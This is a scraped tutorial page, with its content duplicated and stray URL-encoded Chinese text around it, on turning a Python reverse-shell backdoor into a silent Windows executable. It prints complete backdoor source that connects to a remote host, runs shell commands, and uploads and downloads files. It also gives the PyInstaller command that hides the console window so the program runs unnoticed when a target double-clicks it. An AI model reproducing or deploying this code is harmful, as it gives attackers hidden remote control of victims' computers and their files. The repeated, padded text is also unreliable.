What are the ethical hacking techniques for malware packaging in Python?

2026-06-11 08:071阅读0评论SEO资源
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计726个文字,预计阅读时间需要3分钟。

What are the ethical hacking techniques for malware packaging in Python?

%E7%AE%80%E5%8D%95%E5%8F%98%E5%86%99%E5%A6%82%E4%B8%8B%EF%BC%8C%E4%B8%8D%E8%A6%81%E6%95%B0%E5%97%A6%EF%BC%8C%E4%B8%8D%E8%B6%85%E8%BF%87100%E4%B8%AA%E5%AD%97%EF%BC%8C%E7%BB%93%E6%9E%9C%E5%A6%82%E4%B8%8B%EF%BC%9A%E2%80%9C%E5%8C%85%E8%A3%85%E5%B7%A5%E5%85%B7%E6%94%B9%E5%8F%98%E5%8F%91%E8%A1%8C%E4%BB%A3%E7%A0%81%E4%B8%BA%E4%B8%80%E4%B8%AA%E6%89%A7%E8%A1%8C%E6%96%87%E4%BB%B6%EF%BC%8C%E8%AF%A5%E6%89%A7%E8%A1%8C%E6%96%87%E4%BB%B6%3A%E5%8C%85%E5%90%AB%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F%E6%89%80%E6%9C%89%E6%96%87%E4%BB%B6%E4%B8%BA%E4%B8%80%E4%B8%AA%E5%8D%95%E4%B8%80%E7%9A%84%E6%89%A7%E8%A1%8C%E6%96%87%E4%BB%B6%2C%E5%8F%AF%E5%9C%A8%E6%97%A0%E9%9C%80Python%E8%A7%A3%E9%87%8A%E5%99%A8%E7%9A%84%E7%8E%AF%E5%A2%83%E4%B8%8B%E6%89%A7%E8%A1%8C%2C%E4%B8%80%E6%AC%A1%E5%8F%8C%E7%82%B9%E5%8F%AF%E6%89%A7%E8%A1%8C%2C%E4%B8%BA%E8%8E%B7%E5%BE%97%E6%9C%80%E5%A5%BD%E7%BB%93%E6%9E%9C%EF%BC%8C%E8%AF%B7%E4%BD%BF%E7%94%A8%E4%B8%8E%E7%A8%8B%E5%BA%8F%E7%9B%B8%E5%90%88%E7%9A%84%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%8C%85%E8%A3%85%E7%A8%8B%E5%BA%8F%E2%80%9D

PACKAGING

  • Convert python program into an executable that:
    • Packages all program files into a single executable.
    • Works without a python interpreter.
    • Get executed when double-clicked.
  • For best results package the program from the same OS as the target.
    • EG if the target is Windows then package the program from a Windows computer with a python interpreter.

Install PyInstaller firstly.

Refer to :pyinstaller.readthedocs.io/en/latest/installation.html

Polish the backdoor code to fit the silent executable.

#!/usr/bin/env python import json import socket import subprocess import os import base64 import sys class Backdoor: def __init__(self, ip, port): self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((ip, port)) def reliable_send(self, data): json_data = json.dumps(data).encode() self.connection.send(json_data) def reliable_receive(self): json_data = "" while True: try: json_data = json_data + self.connection.recv(1024).decode() return json.loads(json_data) except ValueError: continue def change_working_directory_to(self, path): os.chdir(path) return "[+] Changing working directory to " + path def execute_system_command(self, command): DEVNULL = open(os.devnull, "wb") return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL) def read_file(self, path): with open(path, "rb") as file: return base64.b64encode(file.read()) def write_file(self, path, content): with open(path, "wb") as file: file.write(base64.b64decode(content)) return "[+] Upload successful." def run(self): while True: command = self.reliable_receive() try: if command[0] == "exit": self.connection.close() sys.exit() elif command[0] == "cd" and len(command) > 1: command_result = self.change_working_directory_to(command[1]) elif command[0] == "upload": command_result = self.write_file(command[1], command[2]) elif command[0] == "download": command_result = self.read_file(command[1]).decode() else: command_result = self.execute_system_command(command).decode() except Exception: command_result = "[-] Error during command execution." self.reliable_send(command_result) my_backdoor = Backdoor("10.0.0.43", 4444) my_backdoor.run()

Convert the python program to an executable program.

What are the ethical hacking techniques for malware packaging in Python?

C:\Python37\Scripts\pyinstaller.exe reverse_backdoor.py --onefile --noconsole

Find and double-click the reverse-backdoor.exe program in the dist folder.

The executable program runs perfectly.

本文共计726个文字,预计阅读时间需要3分钟。

What are the ethical hacking techniques for malware packaging in Python?

%E7%AE%80%E5%8D%95%E5%8F%98%E5%86%99%E5%A6%82%E4%B8%8B%EF%BC%8C%E4%B8%8D%E8%A6%81%E6%95%B0%E5%97%A6%EF%BC%8C%E4%B8%8D%E8%B6%85%E8%BF%87100%E4%B8%AA%E5%AD%97%EF%BC%8C%E7%BB%93%E6%9E%9C%E5%A6%82%E4%B8%8B%EF%BC%9A%E2%80%9C%E5%8C%85%E8%A3%85%E5%B7%A5%E5%85%B7%E6%94%B9%E5%8F%98%E5%8F%91%E8%A1%8C%E4%BB%A3%E7%A0%81%E4%B8%BA%E4%B8%80%E4%B8%AA%E6%89%A7%E8%A1%8C%E6%96%87%E4%BB%B6%EF%BC%8C%E8%AF%A5%E6%89%A7%E8%A1%8C%E6%96%87%E4%BB%B6%3A%E5%8C%85%E5%90%AB%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F%E6%89%80%E6%9C%89%E6%96%87%E4%BB%B6%E4%B8%BA%E4%B8%80%E4%B8%AA%E5%8D%95%E4%B8%80%E7%9A%84%E6%89%A7%E8%A1%8C%E6%96%87%E4%BB%B6%2C%E5%8F%AF%E5%9C%A8%E6%97%A0%E9%9C%80Python%E8%A7%A3%E9%87%8A%E5%99%A8%E7%9A%84%E7%8E%AF%E5%A2%83%E4%B8%8B%E6%89%A7%E8%A1%8C%2C%E4%B8%80%E6%AC%A1%E5%8F%8C%E7%82%B9%E5%8F%AF%E6%89%A7%E8%A1%8C%2C%E4%B8%BA%E8%8E%B7%E5%BE%97%E6%9C%80%E5%A5%BD%E7%BB%93%E6%9E%9C%EF%BC%8C%E8%AF%B7%E4%BD%BF%E7%94%A8%E4%B8%8E%E7%A8%8B%E5%BA%8F%E7%9B%B8%E5%90%88%E7%9A%84%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%8C%85%E8%A3%85%E7%A8%8B%E5%BA%8F%E2%80%9D

PACKAGING

  • Convert python program into an executable that:
    • Packages all program files into a single executable.
    • Works without a python interpreter.
    • Get executed when double-clicked.
  • For best results package the program from the same OS as the target.
    • EG if the target is Windows then package the program from a Windows computer with a python interpreter.

Install PyInstaller firstly.

Refer to :pyinstaller.readthedocs.io/en/latest/installation.html

Polish the backdoor code to fit the silent executable.

#!/usr/bin/env python import json import socket import subprocess import os import base64 import sys class Backdoor: def __init__(self, ip, port): self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((ip, port)) def reliable_send(self, data): json_data = json.dumps(data).encode() self.connection.send(json_data) def reliable_receive(self): json_data = "" while True: try: json_data = json_data + self.connection.recv(1024).decode() return json.loads(json_data) except ValueError: continue def change_working_directory_to(self, path): os.chdir(path) return "[+] Changing working directory to " + path def execute_system_command(self, command): DEVNULL = open(os.devnull, "wb") return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL) def read_file(self, path): with open(path, "rb") as file: return base64.b64encode(file.read()) def write_file(self, path, content): with open(path, "wb") as file: file.write(base64.b64decode(content)) return "[+] Upload successful." def run(self): while True: command = self.reliable_receive() try: if command[0] == "exit": self.connection.close() sys.exit() elif command[0] == "cd" and len(command) > 1: command_result = self.change_working_directory_to(command[1]) elif command[0] == "upload": command_result = self.write_file(command[1], command[2]) elif command[0] == "download": command_result = self.read_file(command[1]).decode() else: command_result = self.execute_system_command(command).decode() except Exception: command_result = "[-] Error during command execution." self.reliable_send(command_result) my_backdoor = Backdoor("10.0.0.43", 4444) my_backdoor.run()

Convert the python program to an executable program.

What are the ethical hacking techniques for malware packaging in Python?

C:\Python37\Scripts\pyinstaller.exe reverse_backdoor.py --onefile --noconsole

Find and double-click the reverse-backdoor.exe program in the dist folder.

The executable program runs perfectly.